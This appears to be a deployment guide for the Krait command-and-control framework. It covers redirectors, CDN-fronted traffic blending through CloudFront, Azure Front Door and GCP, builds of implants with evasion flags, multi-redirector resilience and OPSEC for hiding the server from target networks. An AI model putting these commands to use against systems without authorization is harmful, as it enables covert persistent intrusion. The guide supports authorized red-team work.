← Documentation / Infrastructure

Deployment Guide

Production setup, redirectors, TLS, multi-server topologies

Production setup for Krait C2: redirectors, TLS, multi-server topologies, and hardening.

Architecture Overview

Target Network                    Internet                     Operator Network
┌──────────┐     HTTPS      ┌──────────────┐    HTTPS     ┌──────────────┐
│  Agent   │ ──────────────→│  Redirector  │─────────────→│  C2 Server   │
│          │                │  (nginx)     │              │  (Krait)     │
└──────────┘                └──────────────┘              └──────┬───────┘
                                                                │ API :50051
                                                          ┌─────┴──────┐
                                                          │ CLI / Web  │
                                                          │ / MCP      │
                                                          └────────────┘

The redirector sits between agents and the C2 server. Agents never connect directly to the C2 — the redirector handles TLS termination, URI filtering, and geo-blocking.

Quick Production Setup

1. Generate TLS Certificates

# Self-signed (lab)
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
    -keyout server.key -out server.crt \
    -subj "/CN=krait.local"

# Let's Encrypt (production — run on redirector)
certbot certonly --standalone -d c2.yourdomain.com

2. Create Operator Accounts

./server/krait-server operator add adam
./server/krait-server operator add caro

3. Start the C2 Server

./server/krait-server server start --port 8443 --profile slack --ui

The --profile flag accepts any built-in profile name (slack, teams, onedrive, gdrive, github, npm, discord, docker-registry). Omit it for the default profile. Use --profile multiple times for multi-profile listeners.

4. Generate the Redirector Config

Use the operator Web UI Redirector page or the CLI redirector command to generate configs. The server automatically includes the active traffic profile’s URI paths in the generated config.

From the CLI:

krait> redirector nginx --backend https://<C2_IP>:8443 \
    --decoy https://www.microsoft.com \
    --server-name c2.yourdomain.com \
    --ssl-cert /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem \
    --ssl-key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem \
    --output redirector/krait.conf

From the Web UI: Navigate to Redirector → select nginx → fill in backend, decoy, server name, and TLS paths → download the config file.

5. Deploy the Redirector

# On the redirector host
sudo cp redirector/krait.conf /etc/nginx/conf.d/krait.conf
sudo nginx -t && sudo nginx -s reload

6. Build the Implant

Use the operator Web UI Build page or the CLI build command.

From the CLI:

krait> build windows -s <REDIRECTOR_DOMAIN> -p 8443 --external-port 443 \
    -i 60 -j 20 --all-evasion --profile slack

From the Web UI: Navigate to Build → select platform (Windows/Linux/macOS) → set server, port, evasion flags, and profile → build and download.

--server points to the redirector, not the C2 server. --external-port 443 is what the agent connects to; the redirector proxies to the C2’s internal port.

Redirector Configuration

nginx Redirector

The redirector nginx command generates nginx configs that:

  • Forward only valid C2 URI paths to the backend
  • Return 301 to a decoy site for all other requests
  • Trust X-Forwarded-For headers (agent IP passed through to server)
  • Handle TLS termination

CLI options:

FlagDescription
--backendC2 server URL (default: https://127.0.0.1:8443)
--ssl-certTLS certificate path
--ssl-keyTLS private key path
--decoyURL to redirect non-C2 traffic to
--server-namenginx server_name directive
--listen-portnginx listen port (default: 443)
--webrootWebroot path for Let’s Encrypt challenges
--outputOutput file path (prints to stdout if omitted)

DNS Redirector

For DNS transport:

From the CLI:

krait> redirector dns --domain c2.example.com --backend <C2_IP> \
    --zone --output redirector/

CLI options:

FlagDescription
--domainDNS domain for the C2 channel (required)
--backendC2 server IP (required)
--listen-portRedirector listen port (default: 53)
--backend-portTeamserver DNS port
--ifaceRestrict to network interface
--nftablesUse nftables instead of iptables
--socat-onlyOnly generate socat systemd unit
--zoneAlso generate zone file
--nsNS server hostname (repeatable)
--redirector-ipRedirector public IP
--outputWrite files to directory

Required DNS infrastructure:

  1. Domain with NS record: c2.example.com NS ns1.example.com
  2. A record: ns1.example.com A <REDIRECTOR_IP>
  3. socat/CoreDNS running on the redirector with the generated config

CloudFront CDN Redirector

The redirector cloudfront command generates an nginx reverse proxy config and CloudFront distribution setup instructions. Unlike nginx/DNS redirectors, CloudFront proxies all traffic — no traffic profile dependency.

From the CLI:

krait> redirector cloudfront --origin ec2-1-2-3-4.compute-1.amazonaws.com
krait> redirector cloudfront --origin redirector.example.com \
    --krait-port 8443 --domain cdn.legit.com \
    --output /tmp/krait-cf-nginx.conf

From the Web UI: Navigate to Redirector → select CloudFront → fill in origin hostname, Krait port, and optional custom domain → generate.

CLI options:

FlagDescription
--originOrigin server hostname — your redirector VPS (required)
--krait-portKrait server port on origin (default: 443)
--domainCustom domain for CloudFront (CNAME alias)
--outputWrite nginx config to file (setup instructions always print to stdout)

The output includes the nginx reverse proxy config (HTTP:80 → Krait HTTPS), CloudFront distribution parameters with correct managed policy IDs, an AWS CLI example, and OPSEC notes.

Traffic Profile Setup

When using traffic profiles, three components must use the same profile:

  1. Implant — --profile slack in build (CLI or Web UI)
  2. Redirector — generated config automatically matches the server’s active profile URIs
  3. Server — --profile slack at server start

Mismatched profiles cause agents to go dark (redirector blocks non-matching URIs).

CloudFront CDN Redirector

Front C2 traffic through AWS CloudFront for traffic blending. Agents connect to a legitimate CloudFront domain with a valid AWS TLS certificate — the real C2 IP is never exposed to the target network.

Target Network              AWS CloudFront            C2 Server
┌──────────┐  HTTPS    ┌──────────────────┐  HTTP  ┌──────────────┐
│  Agent   │ ────────→ │  d1234.cloudfront │ ─────→│ nginx :80    │
│          │           │  .net (valid TLS) │       │  ↓ proxy_pass│
└──────────┘           └──────────────────┘       │ Krait :443   │
                                                   └──────────────┘

Architecture: Agent → CloudFront (HTTPS, valid AWS cert) → nginx (HTTP:80) → Krait (HTTPS:443)

CloudFront provides traffic blending — agents connect to legitimate AWS CDN IP ranges with valid certificates. This is not domain fronting (AWS blocked that in 2018; Host header must match SNI), but the traffic is indistinguishable from any other CloudFront-hosted site on the wire.

Terraform Deployment

The redirector ships as a Terraform module (terraform/redirector.tf):

# Deploy with the lab
./lab.sh redirector up

# Check status (CloudFront takes ~5-10 min to deploy)
./lab.sh redirector status

# Build agent pointing at CloudFront
./lab.sh redirector agent linux

# Tear down redirector only
./lab.sh redirector down

The module creates a CloudFront distribution, nginx reverse proxy, security group rules, and optionally an ACM certificate for custom domains.

Manual Setup

Use the CLI or Web UI to generate the config, then follow the setup instructions:

krait> redirector cloudfront --origin <YOUR_SERVER_HOSTNAME> --output krait-cf-nginx.conf

Or set up manually:

  1. Configure nginx on the C2 server as an HTTP→HTTPS reverse proxy (port 80 → Krait port 443)
  2. Create a CloudFront distribution with the server’s public DNS as origin, HTTP-only origin protocol, HTTPS-only viewer protocol, CachingDisabled cache policy, and AllViewer origin request policy
  3. Build agents with the CloudFront domain: build linux -s d1234abcd.cloudfront.net -p 443 ...

OPSEC Notes

  • Agent client_ip in sessions shows CloudFront edge IPs, not the agent’s real IP
  • CloudFront POST body limit is 20GB — no blocker for C2 traffic
  • Restrict port 80 on the server to CloudFront traffic only
  • The C2 server’s public IP is still visible in CloudFront origin config — don’t expose the origin IP elsewhere

Azure Front Door CDN Redirector

Front C2 traffic through Azure Front Door for traffic blending. Agents connect to a Microsoft-owned domain with a valid Microsoft TLS certificate — the real C2 IP is never exposed to the target network.

Target Network           Azure Front Door           C2 Server
┌──────────┐  HTTPS    ┌──────────────────┐  HTTP  ┌──────────────┐
│  Agent   │ ────────→ │  *.azurefd.net   │ ─────→│ nginx :80    │
│          │           │  (valid MS TLS)  │       │  ↓ proxy_pass│
└──────────┘           └──────────────────┘       │ Krait :443   │
                                                   └──────────────┘

Architecture: Agent → Azure Front Door (HTTPS, valid Microsoft cert) → nginx (HTTP:80) → Krait (HTTPS:443)

Front Door terminates TLS at Microsoft’s global edge network, forwards HTTP to the origin server’s nginx, which proxies to Krait’s HTTPS listener. Traffic is indistinguishable from any other Azure Front Door-hosted service on the wire.

Terraform Deployment

The Azure lab Terraform module deploys Front Door alongside the full lab infrastructure:

cd terraform/azure
terraform init
terraform apply -var="deploy_front_door=true"

Or with the lab script:

# Deploy full Azure lab with Front Door
./lab.sh azure-lab up

# Build agents — auto-detects Front Door if deployed
./lab.sh azure-lab agent linux
./lab.sh azure-lab agent windows

The module creates:

  • Front Door Standard tier profile with custom endpoint
  • Origin group pointing to the Krait server’s public IP
  • Route matching all traffic (/*) with HTTPS redirect
  • Nginx reverse proxy on the server configured as Front Door origin

Configuration

Set deploy_front_door = true in terraform/azure/terraform.tfvars. The Front Door endpoint hostname is output as front_door_endpoint and the full URL as front_door_url.

When building agents for Front Door delivery, use the Front Door hostname as the callback address. The azure-lab agent commands handle this automatically.

OPSEC Notes

  • Traffic uses Microsoft-owned TLS certificates and IP ranges
  • Domain categorized under Microsoft/Azure infrastructure
  • Front Door adds X-Azure-Ref and X-Forwarded-For headers — nginx strips these before forwarding to Krait
  • Standard tier avoids the cost and visibility of Premium WAF rules
  • Agent client_ip in sessions shows Front Door edge IPs, not the agent’s real IP
  • The C2 server’s public IP is visible in Front Door origin config — don’t expose the origin IP elsewhere

GCP Cloud CDN Redirector

Front C2 traffic through GCP Cloud CDN for traffic blending. Agents connect to a Google Cloud IP address (or custom domain with a Google-managed certificate) — the real C2 IP is never exposed to the target network.

Target Network           GCP Cloud CDN              C2 Server
┌──────────┐  HTTPS    ┌──────────────────┐  HTTP  ┌──────────────┐
│  Agent   │ ────────→ │  Cloud CDN LB    │ ─────→│ nginx :80    │
│          │           │  (Google TLS)    │       │  ↓ proxy_pass│
└──────────┘           └──────────────────┘       │ Krait :443   │
                                                   └──────────────┘

Architecture: Agent → Cloud CDN (HTTPS, Google-managed cert) → nginx (HTTP:80) → Krait (HTTPS:443)

Cloud CDN uses a global HTTP(S) Load Balancer with an Internet NEG (Network Endpoint Group) pointing to the external origin. TLS terminates at Google’s edge; HTTP reaches nginx on the origin, which proxies to Krait’s HTTPS listener.

Terraform Deployment

cd terraform/gcp-redirector
terraform init
terraform apply -var origin_hostname="<C2_IP>" -var project_id="<PROJECT>"

For custom domain with Google-managed certificate:

terraform apply -var origin_hostname="<C2_IP>" -var project_id="<PROJECT>" \
    -var custom_domain="c2.example.com"

CLI / Web UI

krait> redirector gcp --origin c2.example.com --project-id my-project
krait> redirector gcp --origin c2.example.com --domain cdn.legit.com --valid-cert

From the Web UI: Navigate to Redirector → select GCP Cloud CDN → fill in origin hostname, project ID, and optional custom domain → generate.

OPSEC Notes

  • Traffic uses Google Cloud IP ranges and Google-managed TLS certificates
  • Cloud CDN POST body limit is ~32MB — smaller than CloudFront/Front Door but sufficient for C2
  • Agent client_ip in sessions shows Google edge IPs, not the agent’s real IP
  • The C2 server’s IP is in the backend service config — don’t expose the origin IP
  • Use --valid-cert when the origin has a CA-signed certificate to skip the nginx proxy layer
  • Certificate provisioning for custom domains can take 10-60 minutes

Multi-Server Topologies

Single Server (Lab)

Agent → C2 Server (HTTPS listener + API + web UI on same host)

Redirector + C2 (Standard Engagement)

Agent → Redirector (nginx, public IP) → C2 Server (private IP)

Multi-Redirector (Resilience)

Agent → Redirector A → C2 Server
Agent → Redirector B ↗

Build multiple implants with different --server values pointing to each redirector. Deploy both to the target. If one redirector is burned, the other maintains access.

Multi-Transport Pivot

Agent A (HTTPS) → C2 Server
Agent A ──SMB──→ Agent B (internal host)
Agent A ──TCP──→ Agent C (different subnet)
Agent D (DOH)  → C2 Server (DNS queries over HTTPS)

Server Hardening

Firewall Rules

# C2 server — only accept from redirector
iptables -A INPUT -p tcp --dport 8443 -s <REDIRECTOR_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP

# API port — only local and operator IPs
iptables -A INPUT -p tcp --dport 50051 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -s <OPERATOR_VPN_RANGE> -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -j DROP

SSH Tunneling (Remote Operator Access)

If operators can’t reach the API port directly:

# On operator workstation
ssh -L 50051:localhost:50051 user@c2-server

# Then connect
./server/krait-server connect --server 127.0.0.1:50051 --user adam

Separate Processes

For production, run the server and web UI as systemd services:

# /etc/systemd/system/krait.service
[Unit]
Description=Krait C2 Server
After=network.target

[Service]
Type=simple
User=krait
WorkingDirectory=/opt/krait
ExecStart=/opt/krait/server/krait-server server start --port 8443 --ui
Restart=on-failure

[Install]
WantedBy=multi-user.target

Operational Checklist

Before going live:

  • TLS certificates in place (not self-signed for production)
  • Redirector deployed and tested (curl the decoy URL, verify redirect)
  • Operator accounts created
  • Traffic profile matching across implant, redirector, and server
  • Firewall rules restricting C2 port to redirector only
  • API port restricted to operator IPs
  • Test implant successfully calls back through the full chain
  • Event logging confirmed (log command shows registration)
  • Backup redirector tested (if using multi-redirector)